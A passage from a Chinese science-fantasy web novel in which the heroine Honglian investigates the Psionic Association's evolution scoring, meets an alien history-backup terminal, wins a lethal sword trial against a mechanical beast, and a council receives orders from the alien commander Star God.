“嗯？我想想，纸质书的话，小时候看过半本画册《妖精森林的小豆丁》，电子书的话，很喜欢《如雨止》。” “你也喜欢《如雨止》吗？纯真浪漫的感情让我向往。” “原来是这样，我还以为是本励志小说呢，很喜欢女主坚持跑步运动。” 红莲扫视了她腿边的两只行李箱。 “你要离开这吗？” “是啊，哈哈。” 她的笑容流露着无奈。 “我通过黑市，跟科考站的人员换了市民名额，呼。” 天烛原本听说，从博物馆都市换到别的城市应该得到评分差价，但黑市人员却找借口拒付了，不过只要能离开这里，就都无所谓了。 “别灰心，天烛，我感觉你将因祸得福。” “但愿如此，好像是你的家人来接你了，我们有缘再见。” “这是我的肩章，给你一枚当纪念品，我们有缘再会。” 天烛双手捧着它，黑布上别着一枚盛开的金质莲花。 13. 章13北极：自大的文明 红莲受不了房间内充斥的白色，所以经常坐在街道旁的长椅上，感受课题区的安宁氛围。她身边的植被模块，生长着白紫青三色郁金香。 优雅铁艺花纹的仿路灯，播散着清淡的湿雾与花香。 每栋别墅周围的树木和仿木装饰加深了居住环境的美感。 偶有黑发或者混血发色的市民坐下与红莲交谈，有的人诉说自己受到天家市民排挤，只能苟且生活再做打算，有的人阐述自己感到时局堪忧却无能为力的妥协。 红莲对于这些不醉心于眼前美景的人感到敬佩。 事实上，大多数博物馆都市的市民都沉迷外观与生活体验，对琐事小题大做。 那些人心中的夜星好像只有课题区这么大，外界的一切都不存在，明天会如何？也跟她们无关。 橡树在这半个月多次和红莲密谈，晴灯研究的课题——物质编程系统能应用于0元素的辅助模拟系统，他用0元素构成的身体模拟出一个外置的信息面板和一身岸防队服，结构和功能更复杂的物品还需要更多实验样本才有可能模拟。 在旁人看来，这些纯粹由0维空间模拟出的物品与普通物品毫无区别，0元素物品无法破坏的特性不易被人发现。 “你在家照顾东南西北吧，我尽快做完该做的事情。” “红莲姐的身体无碍了吗？” 带橡树来博物馆都市的决定，让红莲感到懊悔，可她别无选择，秘密有时就像遮在魔鬼脸上的面纱。 “扭伤康复了。我去灵能时代展厅看课程里有没有重要的信息，还想联络一下黑家主。” “最近有个黑家主的前随从来找过我，我让小北去找她，你们可以在灵能展厅见面。” 红莲摸了一下胸口的白裙布面，这衣服不会探测出橡树身体的异常吗？ “这！让我和大家一样。” 橡树微微指了一下头，她就明白了。 0元素听命于意识，可以将他的身体模拟的毫无破绽，理论上他甚至能做到变身成为别人或者别的物体。可是人类的意识并不完全由自己掌控，贸然放弃人体结构，可能会造成意识沉睡或恐慌，辅助模拟系统存在意义就在于此。在意识外建立一个信息操作系统，辅助意识操纵0元素模拟出各种物品。 灵能时代展厅前方。 展厅步道里，立着一块高大的水晶方尖碑，碑文以绚丽的未知能量光束构成，写着：本展厅建立于夜星新元1286年，展厅本体仿照天狼星古典文明时期建筑风格，水晶碑用天狼星现代文明技术制造。 红莲环视步道两旁的玻璃晶体装饰物，走近方尖碑，它是如此独特。 她和市民一样被未知文明的力量深深吸引。 红莲抬手贴近水晶碑面，这举动吓的周围人群同时后退。 她用手背全力敲击了一下水晶碑，能量扰动，震起的气浪让她的黑色长发挥洒，人们才发觉这少女气质冷毅，眼神锐气。 而她不过是查明这物体内部中空，水晶壁极薄，却丝毫不颤，说明质地异常坚硬。 人群随她走向展厅建筑方向。 如果从建筑上空俯瞰，展厅由一个占地1000平米的三角形构成，三角形的边都是弧线。再从行人视角观察，建筑的侧面也是三角形，除地面外的两边也是弧线。 古典文明？ 展厅整体很像公园常见的景观雕塑。 红莲假设这建筑真是天狼星古代文明的建造风格，就可以推测，天狼星陆地面积极大，不需要考虑占地空间。 建筑墙面以人类技术很难施工，建造方式更像是用整块材料切削，三块材料拼搭完而成。 她回想起孕育罐基地的工程机械也使用一体化材料，可以认为天狼星文明的科技非常重视一体。 红莲仰头看，墙面的竖纹近似知识库中记录的海底贝壳花纹。 人们坐在波浪造型的听课区，红莲拿到历史课程信息，打开查看： 灵能时代 新元1056年，灵魂能量促进协会简称灵能会，与天狼星文明取得联系，灵能会取代永生科研基金会和总商会，以灵能永生进化为目标开启第三次千年进化会议。 人类个体必须具备中性□□与无我意识后，由天狼星科技进化成永生灵能体。 灵能体的四个阶段：侍灵，自主者，造物者，灵能神 新元1060年，灵能会将总商会总部改建为博物馆都市，并不断扩建。 新元1089年，天狼星文明将生长金属技术支援给光星。 新元1212年，全球各地出现灵能风暴，导致30亿人消失。出现真超能力者，反对灵能会的人类在南大陆集结，最终战争爆发，灵能会派星神领军，击败了反灵能会联盟。 新元1216年，灵能会于北极和南大陆开工建造灵能飞艇。 灵能进化评分： 生理和心理为标准人类的个体评为5分 生理和心理性征消失的个体评为6分 心理纯净无我的个体评为7分 新生儿在孕育罐内□□和知识评分都提高到5分需12年，离罐后，使用治疗椅提高□□评分到6分（评分点数可交易），前往博物馆都市研究课题提高心理评分到7分，□□与心理评分双7分可进化成灵能体。 新元1220年，未知原因导致光星进入永夜，气温骤降，灵能风暴不断，动植物消失，人口锐减，此后称为夜星，人类城市依靠灵能飞艇提供光照。 新元1314年，灵能会宣布中立，不干涉人类。 北极：金发人成立贝家，黑发人成立黑家，白发人成立天家，即北极贝黑天三家 新元3945年，在野外发现大量机械生物，来源不明。 课程没提供课题选择，可能因为灵能技术是灵能会的机密，旁听课程的市民们不过是来加深对高级文明的向往。 红莲发觉两个疑点，外界通常认为，人类内在的知识评分是灵能进化所需，可是这里明明写着心理评分，人们从来没听说过心理评分，从来没有任何设备和人员检查过人们的心理评分。 第二个疑点是□□评分最多只能提高到6分多一点点，没有任何设备和机构声称能提供□□评分升高到7分的服务。 那么理论上就根本不存在人类进化成灵能体的途径。 “哼，这课目很重要吗？你看的这么入迷。” 浑厚而洪亮的说话声在红莲身旁响起。 “您怎么在这？” 她抬眼看是黑披风，再看健壮如狮的黑家主。 “天家主发起了三家会议，真麻烦。有半年没见你了，我在实习区闲逛，正想找你呢，橡树说你在这等我，我就来了啊。灵能课程，众人皆知，你以前没看过吗？” 红莲梳顺长发，后仰靠着波浪形椅背。 “我以前反感灵能会，没看过，我发现两个疑点。” “啥？” “心理评分和□□评分只能到6分。” “哼，就你聪明啊！” 黑家主双手梳了一把她蓬松的黑色长发，又看看周围受惊的市民，就闭目趴在桌上。 “夜星人都知道这两点没途径达成啊，傻红莲，这不就都由灵能会说的算吗？它们说谁分够了，谁就进化了呗。果然进了这破都市的人没有一个不傻的，不过我看红莲你身体结实了很多，气息也变平稳了。” 也就是说，夜星人都怀着疑惑，追求灵能进化。 人们比红莲想象的还要妥协，只有她坚持着自己的追求。 已经到这了，不能放弃。 “您刚才说三家会议？” “啊！你想去吗？” “我能去吗？” “啧！你怎么了！红莲？” 黑家主伸胳膊搂住红莲的肩膀，进而揉揉她的头顶。 “你以前可不是这样，那时你想做就做！唉！不能让你在这待废了，我今天就要带你一起听三家会议！咱俩听听守财奴和美小丑能絮叨出啥新花样。” 红莲拨开她的手，习惯性的扶正帽子，却发现没有。 “博物馆都市，到处都是限制，我被驯化了吗？” “嗯……唉，没事，大家都一样，走吧。” 平时的市中心管理区，应该是空旷的纯白空间，地上有个悬浮的银色巨大圆球，球体下面有几堆银色的无门设施。 红莲每次来这，都发现这些设施的位置变动了。 今天，设施散开，露出球体下面的凹坑，周围站着三圈侍灵卫队。 “这次会议有点不一样啊，红莲你见机行事吧。” 黑家主说完，转身抖一下肩膀，让披风外翻，露出布满金黄惠子的元帅肩章，纯黑制服上衣胸前高挺，腰宽却未收束多少，健壮的大腿让马裤下的长靴更显力量。她的面容华美，此刻难得露了一丝温柔微笑，帮整理红莲的仪容。 侍灵奇特的水母脑袋吸引红莲凑近，细致研究。 水母头比人头略大，里面有一团发散刺眼光芒的能量。 她垫脚，想看看光芒下面的连体衣里到底有没有肉身，却被水母头下探出的蠕动管线群逼退，再看后背的铠甲与胸甲一样，也有六个灵能场发生器。装甲下束缚带环绕腰腿，腰后别着一对银色剑鞘。 它们是让全人类畏惧的侍灵，却被一名黑发少女转圈查看着，黑家主心中感慨道：不愧是红莲啊。 她等红莲对侍灵失去兴趣。 二人站在凹坑边缘，看到坑底是一个圆形平地，地中央又有一个凹坑，地上还有一个半球形凸起物，红莲目测这半球直径约15米。平地东侧墙壁变出一条通道，元站在通道口对黑家主鞠躬，两人脚边出现一个螺旋步梯。 “红莲大人也来了。” 元一身白西装，她似乎很怕黑家主，红莲想她可能出于武者的本能，因为黑家主大概是夜星战力最强的人了。 “那两人到了吗？我带红莲进去坐会儿。” “黑家主大人，这次……可能不行，我也……” 元被黑家主用眼神逼退。 “上次会议，你就在天家主身后旁听，我带个人旁听怎么了？哼！红莲，我们走。” 两人到达走廊尽头，墙壁切开一扇门。 红莲看房间里铺着深红色花纹地毯，四壁都立着棕色木制书架，架上摆满纸质书籍，靠西侧的纯金沙发里，能看到贝家主的一条条金色发卷和黄色蓬蓬裙，她在专心挫着指甲。东侧的黑色木制单人沙发是黑家主的座位。北侧露出白色双人沙发的一半，天家主坐在那里，她视线朝下，神情焦躁，注意到门外二人后，皱眉警告红莲，又抖泡泡袖，推沙发扶手，起身走到红莲面前。 “又好久不见你了，小红莲哟，你又和黑家主走在一起吗？” 天家主依靠在门旁边，绝美五官黯然失色，白色波浪长发也未经细致打理，白色马裤底端的银色短靴不停点地，时而打量两人，时而看着地面。 红莲最了解天家主了，有什么事让她急到心不在焉。 “你有麻烦了吗？” “小红莲不给我找麻烦吗？” 她扫了一眼红莲的眼睛，又看地面，继续说：“我感觉，利益留住的人都是废物啊，我不像黑家主那么要风的风，要雨得雨呢。” “那我就不进去了。” “怎么了？别怕她。” 黑家主猜错了，红莲不是怕她，也不是担心家人的安全。 红莲从天家主的神态上发觉了这次会议不同寻常，屋内的气氛像在等待什么变故，自己如果强行加入这个乱局，可能让本来复杂的局势变的更加失控。 “我们人类之间没有那么大隔阂。” 天家主听到红莲说人类两字，就抬头红莲，天家主明白这少女思维极为敏锐，想等红莲再说点什么有趣的事，帮她消解心中的烦躁。 “我们聊点空泛的话题，转移一下思路，你一会儿谈事情的时候，就能做回平时的自己。” “小红莲想聊什么呢？” “A之书第三句吧。” A之书：只要永生技术突破，物种就会自我毁灭，这定理包含了生命追求确定性的悲哀。 红莲：“生命的繁衍本质是改变现实，臣服现实等于自我灭亡。” “小红莲又推销你那套精神至上的歪理，不过确实鼓舞到我了呢，我的解读：即使主人已经离开，奴隶还要继续争斗吗。” 天家主说完，转身盯着那位坐在金色沙发里把玩扇子的贝家主，随后，天家主轻吐鼻息，一边走进房间，一边对身后的红莲摆手示意再见。 元立即说：“谢谢红莲大人，黑家主大人您先进去吧。” 黑家主被元谨小慎微的轻推入房间，墙壁再次变回完整平面，元带红莲回到坑底。 “感谢你体谅我的工作，红莲大人没事的话，就离开吧。” “我还有点事，想等黑家主大人出来。” “这可能……” 元面露难色，这修剪整洁的白短发下的委屈神情，大概能引起任何女性同情。 “嗯……啊……哎……我就这么跟红莲大人说吧，您可能得等很久。而且，一会儿有第二批侍灵卫队到达，它们会驱逐你的。” “那我就在这逛逛行吗？我第一次下来，很好奇呢。” 红莲在空无一物的环壁空间内四处查看。 “这是您的自由，红莲大人。不过，我想提醒您，很多事物，不知道更安全。” “一时安全？” “一时安全也是安全。我进去了，步梯就给您留着了。” 等元进入通道，圆形平地的墙壁变回完美的环形。 “呼。” 红莲坐靠在半球体上，猜测这次会议的内容。 天家主说过北极各实验城市的变故和中部工业带建设都来自灵能会的决策，元刚才说第二波侍灵，更能确定这次会议是灵能会发起的。 世界要完了吗？ 还是全体人类飞往天狼星呢？ 这些都与自己无关。 红莲只想捍卫自己的人格和精神，如果毁灭来临，她想带夜兰和家人一起面对。 我们一起对抗毁灭到最后一刻，不被绝望的哀叹所打倒。 红莲信心十足，再次扫视环境，只有地上的凹坑有一点点特别，她左右晃晃脑袋，发现凹陷的小坑在光影照射下，恍惚可见一个符号。 “Z？” “哎！” “谁？” 她看面前没人，于是蹬地跳起，黑发飘散，在空中完成转身，落地后，半脚踩着凹坑边缘，身后却无人。 是这个球体发出的声音？ 红莲缓步靠近半球，这银色半球与墙连为一体，毫无发声口。 “不是她，红莲大人，我们又见面了，嗯？我这只应该说第一次见面吗？我能再见到您，感到非常荣幸。” 一个人形物体瞬间出现在红莲身前。 它好像是顷刻出现在红莲脑中的幻象，这人迎从模糊变得渐渐清晰，褐色的短蓬裙上布满了金色齿轮部件，黄棕长袜末端没有脚，安装着一对齿轮机构。邪魅笑脸上的眼睛位置安装着两个表盘，头后的黄发散乱满地。 红莲想探手揪住它的圆领，却做不到。 “不不不~” 它说着，单指在红莲面前摇动。 “请不要恐慌，红莲大人，我只不过是对您太感兴趣了，A走后，没人用我的沟通功能，，我就自己用着玩吧~” “你是谁？” 红莲退后拉开距离，又发觉自己可以动了，但这感觉很奇特，红莲的任何敌意和动作都从自己意识的根源被神秘力量禁止了。 “红莲大人！我们明明见过哎~那我就再自我介绍啦~反正我和您是第一次见。” 它双手抓群摆一拉，退步并鞠躬，模仿着人类古代贵族女性的礼仪。 “我的全称是——天狼星自律型行星全信息回溯备份终端。我的意识提取自天狼星个体，我的本体是检索光子运载信息的超时空程序。我全知但无能，做不到干涉时空因果律的行为，所以简称历史备份者。我原本的功能就是回答授权者的问题，我在不影响因果律的前提下才能回答。现在！授权者不在了，我出于兴趣，可以回答红莲大人的问题。当然了，必须在不影响因果律的前提下，就如你无法攻击我，因为我本身就是游离于因果律边缘的一丝能量罢了，打破因果会导致我本身消失，程序约束，使我无法自杀。” “我可能没什么想问的。” “我的答案全部真实，因为我不能干涉因果，所以我没撒谎的必要。” 红莲绕着它身边走动，黑发迟落，她感觉时空大概有半秒的延迟，这感觉如同做梦。 “灵能会是什么？” 它闭眼后全身齿轮开始转动，等再次睁眼就摇摇头，又做着邪笑。 “天狼星？是怎样的文明？” “我可以问一个问题做交易吗？因为我对红莲大人太感兴趣了！” “也在不影响因果律的前提下。” “当然！我不明白，红莲大人为何不像其他人类一样得过且过呢？” “因为我那样，就已经死了。” 它再次闭眼，齿轮飞速转动。 “原来如此，人类真是神奇，灵魂差异居然如此之大。我可以为您简单介绍一下我伟大的天狼星。” 这段介绍用悬浮的文字辅助影像说明着天狼星历史： 焦点在宇宙深空高速穿梭，到一颗气态行星前停止，行星环上有一颗巨大的白色星球。视线靠近，有文字说明，白色是厚度达900米的冰层。 影像转到冰层以下，深蓝色的海洋里，生机盎然，海底火山喷口周围，寄生和游动着奇形怪状的生物，生物的数量如此稠密，几乎占据海洋的三分之一。 这时，一只巨大的有着龙虾肢体和海螺壳的直立游动的生物停在画面前，文字介绍它身长361米，宽180米，基因介于哺乳动物和甲壳动物之间。 “这位就是我们天狼星人的先祖。” 红莲看细看画面这生物的节肢确实不像龙虾，巨大的螺壳竟然不是硬的，做着蠕动呼吸。 她再看看历史备份者的脸，还是那样邪气的微笑。 “不用怀疑，你们光星对人的概念是指智慧生命体，天狼星人相对银河其他文明的人，获得智慧更晚，但更强！” 画面辅助文字快速说明那生物的进化史，在经历了2亿多年的漫长时间，该生物进化出了用电磁信号传输信息的器官，这器官原本是为配合捕猎，但就如同人类使用工具一样，有了意外收获，而它们的收获是如此丰盛，足以令全银河系的文明羡慕不已。 器官的功能很快扩展成近似人类互联网的信息网络，使所有个体不仅能用意识交流，还能无视生死限制，传承知识，个体死亡后，信息仍然存在于整体的意识网络。 影像中的它们，用工具削切硕大的贝类生物外壳，搭建成居所。 文字开始描述它们的太空成就，建造了大型太空船钻破冰层，深空科学让这个物种意识到了危机，它们是一种海洋生物，无法在宇宙中存活。 求生信念很快让整体意识网络达成共识。 这种生物的大脑里的意识能量比人类强数百万倍，再将个体的意识能量提取，汇聚，就形成了第一个完全由能量构成的生命体。 此后，它们批量制造能量生命体，天狼星人在不到900年的时间就完成从有机生物到能量生命的蜕变！ 红莲如同第一次见识外星文明神奇力量的人类一样，被它们震撼了，宇宙里的生命形式千变万化，远超人类想象。 可是，红莲很快关注到更本质的差异。 “我不明白，你们的个体为什么毫无反抗，自愿把生命让渡给别人？” “不愧是红莲大人呐，您是第一个提出这个关键问题的夜星人呢。” 历史备份者收起了诡异的笑容，背着手，向红莲鞠了一躬。 “我们天狼星人没有感情啊。您懂了吗？我们没有一曲音乐！没有一本小说！没有任何艺术！科技也不是出于兴趣，我们仅仅是遵从着生命本来的欲望！变的更强！只要能让种群变强，我们的个体会毫不犹豫的牺牲自己，不需要任何思想，或者说我们连思想这系统都没有，我们只有思考，意识网络形成之初，我们天狼星人就已经变成了一个人了，个体只是思考如何让它变得更强的细胞，您明白了吗？” 红莲默然了，单论武力，天狼星完美碾压人类文明。 “这仅展示了我们古代的成就，现在的天狼星文明，比人类历史中想象的任何神族都要强大。从根源上看，人类太弱小了，不过宇宙似乎赐给了你们一个很奇特的礼物。” “礼物？” “就是灵魂。我们没有这种东西，灵魂让你们具备了感情，灵魂让你们的个体互相残杀，灵魂让个体的能力有大有小，灵魂让个体的意识能量忽高忽低。我们无法解释灵魂的奥秘，更不明白你们的文明为何抛弃这礼物，选择和我们相似的道路。” 或许，正是因为灵魂吧。 成也灵魂，败也灵魂。 红莲想到了答案，但没说。 “妈妈？” “哈哈，我不是你妈妈，你的妈妈被授权者封印在翠绿石板中了。” 红莲刚从思考中缓过来，看到历史备份者对着半球体说话。 “这又是谁在说话？” 历史备份者双手指向半球体，侧身对红莲发出它那邪魅的微笑。 “她的全称是2号独立智能模型管理人类文明信息网络系统，简称北极在线AI系统，里面存活的电子化灵魂意识体感知到我的信息流了，我称她为人类的第二奇迹。时间到了，有缘再会吧，红莲大人，我期待与您重逢。” 历史备份者消失后，红莲对半球体连续问话，敲击球体也毫无应答，天家主持有北极在线AI系统的访问权，只有她能与这球体对话。 谜团太多了，红莲一时理不清思路，或许就如历史备份者所言，它提供的信息毫无实际作用。 红莲需要的是，尽快提高自己的实力，还有查清灵能会的真实目的，最后，带家人前往南极，与夜兰汇合。 她想到这些，快步跑上阶梯，路过如同雕像的侍灵卫队，踏上开往都市南门的列车。 超越极限 近半年来，北极雪原上的光照明显减弱很多，原本笼罩在博物馆都市外侧的发着荧光的穹顶变得暗淡，目视感觉它更接近玻璃材质了。 旷野雪地蒙上灰色，给观者以前所未有的孤独感受。 看到这雪景的人还能崛起一份斗志，不远方迎接她的是蔓延在内陆雪原的灵能会载具工业带，漆黑色的各类工程机械塞满了十万平方公里的雪地，全自动机器，所以无需光照，只有机体上闪烁的信号灯点满了灰白大地。 上空黑夜如地，下方地似繁星。 红莲在西部雪坡侧身步行，一来能缓解暴风雪拂面，二来能在不接近工业带的前提下，尽量观察。 她只能看出大体积的武器装备，有两艘巨型母舰拼好舰身，她数出10枚仿古火箭发射架，其中有3个支架上已经立起火箭。 灵能会为什么在如今的时代还造火箭呢，发射目标又是哪里？ 西部冰山脚下，残存着大片实验都市废墟，还能看到半年前在这里作战的破损机甲倒伏在雪中，机械生物的残骸也随处可见。 这些物体遮挡狂风，红莲摘下手套搓手，又在口前呼气取暖。 这里原本是清净的场所，但她有了感知，冰冷的空气中，弥漫来狂躁的感觉。 她摘下兜帽，黑长发还未飘落，包围她的废墟就已杀机四伏。 黑衣少女抽出背上的锈蚀铁剑，她明白是师父安排的新试炼开始了。 咯吱，哐当，吱呀。 令她感到熟悉的机械摩擦声。 声音根本不像是铁人师父发出的，它行动敏捷，非常注重隐蔽，应该是有稳定节奏的轻微动静。 所以红莲脑中的熟悉，应该来自更遥远的记忆。 破损大楼断面的最高点，挪出一个古怪的身影，她马上确认了声音的答案。 “没把我那件灰色斗篷带来吗？唉，算了。” 银白钢铁错乱盘绕成的机械巨人，用双手勒住一只犬型机械生物的脖子，红莲看出师父还很在意这只犬型的完整度，钢牙和爪子全部完好。 她猜师父在雪原深处抓获犬型后，一路拖行到这又等待了大半个月。 师父身上的钢甲有多处破损，可能是用来喂养这只犬型。 “我忘了，却不想道歉。您可真贴心呢，这小狗是全新的呢。” “红莲的意思是，怕了吗？” “我只是个人类！被它擦碰一下就会骨折啊！” “你说的对，以人类的肉身没有任何可能战胜它。它就是相对现在的你，绝对无法战胜的强敌，真我剑术的最终奥义极命界，必须杀死这种强敌才能习得。如果是我和你对打，你就会心存侥幸。红莲，人生的奥秘就在于此，一命之剑学会倾注自己的全部去达成目标，绝命之剑学会适应绝望保持真我，极命之剑学会迎战绝望并不断突破自己的极限。我认为你有始终不被绝望打倒的精神，有习得极命剑的天赋才安排了这次修行。你大概率，不，可以说肯定会死，你和犬型只有一个能活下来，极命界发动后，你在精神和意志耗尽前没杀死它的话，你还是会灵魂消亡而死。你要放弃吗？” 迎战绝望。 这本来是红莲心中求之不得的事。 她无数次认定自己，面对绝望一定能拔剑向前，即使粉身碎骨也在所不惜。 要守护我的追求，我的精神，我的意志，我的灵魂。 我看腻了妥协和苟且，得过且过的我如行尸走肉，受人摆布的我必沦为玩物。 要东躲西藏，计算末日到来的日期吗？ 即使身边有关心我的人，在哀叹和无能为力中沮丧的我还是我吗？ 还是自欺欺人的故作欢乐呢？ 别人可以，我不可以。 因为我不是别人。 我接受世界强加给我的命运时，就已经死了。 动起来，动起来啊！红莲！ 这股内驱力并没有让她动起来，只是艰难的抵消了自己放弃试炼的想法。 红莲的脚挪动了。 她要转身离开，她该转身离开，上身已经放弃对敌的架势，挺胸抬头，自己做的已经够多了，世界要完蛋就让它完，现在的她完全有能力保命，还能过好生活。 她有十足把握带着家人和朋友一起苟存到最后。 时候再一死了之才不亏，人都有一死，没必要在这可笑的修行里丧命。 这些基于现实的考量，染满了她的脑子，她万万没想到，当考验真正来临时，自己居然变的如此世俗，这和一个机器人有什么分别呢？ 她变成了自己最讨厌的人。 都难以称为人了，只是一个求生的程序，一个工具，像游戏中的NPC，像牲畜围栏里待宰杀的牛马。 我的意志呢？精神呢？灵魂呢？我还有自己吗？ 红莲终于明白了绝望的本质。 当人面对绝对无法战胜的困境时，人的内在比□□更早死亡，留下一个没有主见的空壳等待毁灭。 你们。 无法理解我的。 我有。 比活着更重要的。 就是我。 为了保住真我，我可以放弃，我可以离开，我可以忍受，我可以无情，我可以死亡。 想让我苟且的信息，想让我妥协的信息，想让我认命的信息，都是我的敌人。 你们不配进入我的内在。 绝望可以取走我的生命之火。 在我活着的时间里，内在之火，始终不灭，对我来说就够了。 我是红莲。 此刻，清冷的雪花们被她的精神之火温暖，寒风被她的灵魂之火灼烧，冻结的钢铁被她的意志之火炙烤。 她的意识，思想，思考，精神，意志，灵魂全部绝对统一，她如人类历史长河中的英雄，也如同所有时代里有着不屈意志的女性，她们在时间洪流中绽放着炫红的曼珠沙华精神之花，观者懂得欣赏这种内在美学，却无法理解。 “开始吧，师父。” 少女横剑站立，英气旋起雪花，飞在飘动的斗篷和黑发之间。 机械巨人师父抱着犬型机械生物，做出如同扔铅球般的转身，它旋转九圈后借势一跃，借着惯性，从空中向红莲抛砸犬型，这是为了让犬型锁定红莲为当前敌人。 迅猛的势头让犬型无法调整姿态，红莲全速助跑，在犬型落地之前，赶到了犬型身下，她翻身推地的一斩，用出了一命剑，勉强划开了犬型腹部的动力装置，滚烫的金属溶液在红莲穿过后才淋下来，可见她突进的速度之快。 从胜负理论上来讲，红莲已得胜机，她现在只需要尽力躲避，等到犬型因为胃部食物耗尽死亡，她全力拖延时间有可能成功。但她扶剑身，摆好进攻姿态，似乎不打算那么做。 这只犬型机械生物四足落地后有2.5米高，银亮的颚齿和巨爪，金属骨骼联动，眼部位置只是两个大小不同的空洞装饰，锃亮钢头中，喉咙处的食道管才是感知环境的探测器。 人类和机器之间，悬殊的实力差距，使得机械生物立刻发起攻击。 铁兽的猛跑力大势沉，庞大的体型使它兼具了速度，助跑的蓄力就足使它跳到楼体废墟立墙上，即将下扑攻击，还考虑了红莲所在的环境，只有断壁和土丘，无处回避，犬型下落的角度封死了红莲的逃跑路线。 红莲随它下扑的意图，找它背部的破绽，却被它爪子钩到披风，这一拉，紧接着第二只前爪就砸来，红莲解开斗篷并踢它的钢爪，她想拉开距离，却立刻受到铁臂挥击。 鲜血从胸腹涌向口腔，时间只允许她略咳了半下，身体的不适感要侵蚀她的意识，但她与犬型的近身缠斗未停，她再用一命剑，技挑断了钢铁肋骨，却也受到犬型多次用身体撞击。 犬型完全明白区区人类的攻击无法对自己造成伤害，所以来回翻滚爪挠，使得红莲与它任何触碰都足以致命。 红莲终于缓过一秒空隙，助跑跳到空中。 刚才短短的5秒中，它已经用光了身体的极限，肌肉撞伤，肋骨骨折，失血昏沉。 现在的她，完全靠意志驱动身体，眼中只有犬型背部的凸起，是动力圆盘的位置。 一剑横斩，命中的同时变成下刺击，注入了红莲的所有信念。 然而，斩击只打凹了机械生物背部的钢皮，下刺击的触感无比坚实，再侵入一微米都会令红莲手臂骨折，她松手，右臂的蓄势早已造成了脱臼。 身体贴铁剑下落的过程中，左手重新抓住了铁剑。 红莲这一套动作没有任何迟疑或思考，完全靠她内在的求胜信念，与身体浑然一体的力量驱动着。 机械生物翻身四脚抓挠，红莲下落的时间，和犬型抓挠的间隔只有半秒。 就是在这半秒中，她左手手持剑，对破裂的动力装置施展了不间断的一命剑技。 每一剑要斩的更深，以增加她下落的距离，延长犬型的爪到达的间隔。 每一剑要劈的更宽，以容纳她的身形进入。 每一剑要刺的更狠，以求最早破坏动力圆盘。 每一剑却让红莲明白了自己必死无疑，这黑洞洞的钢铁腹部似乎深不见底，而它的爪即将到达。 这就是绝望吗？也不过如此。反正必死无疑，我只有攻击一个选项，我需要更快更强的一命剑。 你还有多少精神和意志就还有多少更强的剑击。 高楼废墟上的钢铁师父见证了它从未设想过的最强极命界。 犬型机械生物四脚朝天，腹部火花和融铁喷射飞溅，它正被什么看不见的巨型钻头重压着，动能甚至减弱了它的爪击，爪更像是轻按着什么。 方圆一公里的空间中都充满了此人浓烈的斗志，宛如火红的炼狱。 但是身处地狱中心的红莲对一切都毫不知情。 她的心已经无法做出任何思绪了，整个人没入了深黑的绝望之中，更强的剑击所挥出的炽热红花才是她的希望和救赎，这些花瓣温暖着她即将燃尽的内心， 绝望吗？ 最后，我也用剑指你，这才是红莲的幸福。 尽管机械生物早已不动了，但它被打散成花形的腹部又传来一声巨响，白雪从花中喷向高空，再落下的火红铁片升起层层气雾。 铁人师父爬下来，缓缓靠近机械生物残骸中心并向内张望时，红莲站那里。 她的黑发在热浪中左右挥动，面色无碍，闭目休神，黑色岸防士官队服衣裤完好，双手掌扶按在剑柄之上，跨步站立，好似蓄势出征的将军。 “ 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屋内，黑家的两位随从与橡树谈话。 她俩焦急的等待着主人从会议回来，而这次会议足足等了一天。 三家会议 黑家主坐在会议室内翻书，她曾反复逼问天家主，会议谈什么内容。 但是，天家主只在最开始说了一句，灵能会发起的，就再无言语。 贝家主用金扇遮面，冷笑。 因为明摆的事情，天家主不是不回答会议内容，是她真不知道。 灵能会很少与人类商议，这是第一次。 事情往往就是这样，想灵能会，灵魂会就到，两人看元开门，走进来，贴在天家主耳边私语，天家主站起身后，贝家主和黑家主也起身。 “到了。” 拥有绝美面孔的天家主，面色从未如此凝重，她收起了平时嬉笑魅惑的神态，走过呆立的二人身边，到了门前，左小臂抬手掌向上，门外的人落手掌向下，这是夜星的外交礼节。 进门的人毫不见外的说了句坐吧，步履极快，走到双人沙发前，坐在正中，天家主被她无礼的举动激怒了，这时才想仔细打量这人。 纯白色的连体衣，身材与她不相上下，军服外披着一件白色军大衣，大衣的黄丝肩章上别着星形徽章，前胸有两排星形扣子装饰，细腰间挎着棕色皮带，锁扣着一柄白色剑鞘，剑柄是水晶材质的星形造型，足底踏着金色机械鞋，鞋面绣有星形图案。 天家主已经猜到了这人的身份，再看浅白的发着淡淡金光的长发，脑后白发以两条细辫盘束，刘海和鬓角自然散着，容貌只是寻常的美人。 天家主站在双人沙发前不动，两人对视后她就更确定这家伙不是人类，那是一双溢满战意的眼睛，瞳孔的位置，隐约可见星形光芒。 黑家主和贝家主都看出来，眼前的状况虽然是简单的沙发座位之争，却蕴含了人类和灵能会的立场，天家主没有妥协的意愿，那人才起身挪动了位置。 “长话短说，我是灵能会——侍灵大军总帅——星神。” 星神的名字令会议室内的气氛瞬间凝固了，它就暂停说话，等在场的三名人类完全理解了事态。 人类已知的关于星神的信息，就是它在最终战争消灭了人类反灵能会联盟，足见星神就是灵能会的战争机器。 贝家主大方的收起金扇，做了一个贵族礼仪。 “我们能见到您，感到万分荣幸，那么？星神大人，约我们到这有何贵干呢？” “我是星神，接下来的话，你们必须认真理解，不可以打断。” 它用命令的口吻杀死了贝家主的笑容，也让其他两人保持沉默。 “我布置北极防卫任务，黑家的岸防军团。” “岸防卫队！” “我说是军团！就是军团！” 星神第一个命令就跟黑家主爆发争执，它从黑家主充斥愤怒的眼神中判断，这是个没有多少理智的女人，它为了说完任务，选择无视。 “黑家岸防军团变更为博物馆都市近卫军团，移师都市郊外。” “咳。” 天家主轻咳一声，示意插话机会。 “星神大人，我和你一直用语音沟通，今天是第一次见面，您无需这么严苛，我们北极三家从古至今都全力配合灵能会的意图。移师的调令，我们接受，但准备工作需要时间，都市外，没有供人类存活的设施。” 星神盯着天家主说完，闭目转脸，用不屑一顾的态度继续下达命令。 “我继续布置北极防卫任务，贝家将金山堡和南极业凰科学院内的市民撤回到博物馆都市。” 天家主：“食物供给……” 贝家主没等天家主找理由延后命令，就已经点头了。 “贝家全体成员将积极配合您的一切命令。” “很好！我继续布置北极防卫任务！灵能会授权天家批量制造极能束迫击枪，我只给你一年时间，要200万支合格产品。灵能会授权天家试制灵能中威力极能量光束炮。6个月内，我要见到合格样品，我回到天空城就把两种武器的制造许可发给你。” 天家主捂着脸，她揉捏着僵硬的面部，终于挤出一丝笑意。 “哎？在接受命令之前？您能允许我问个问题吗？” 她话说的婉转，但态度表达的足够强硬，星神沉默了大概有三分钟，这冰冻的三分钟可能是夜星人类最后的骨气。 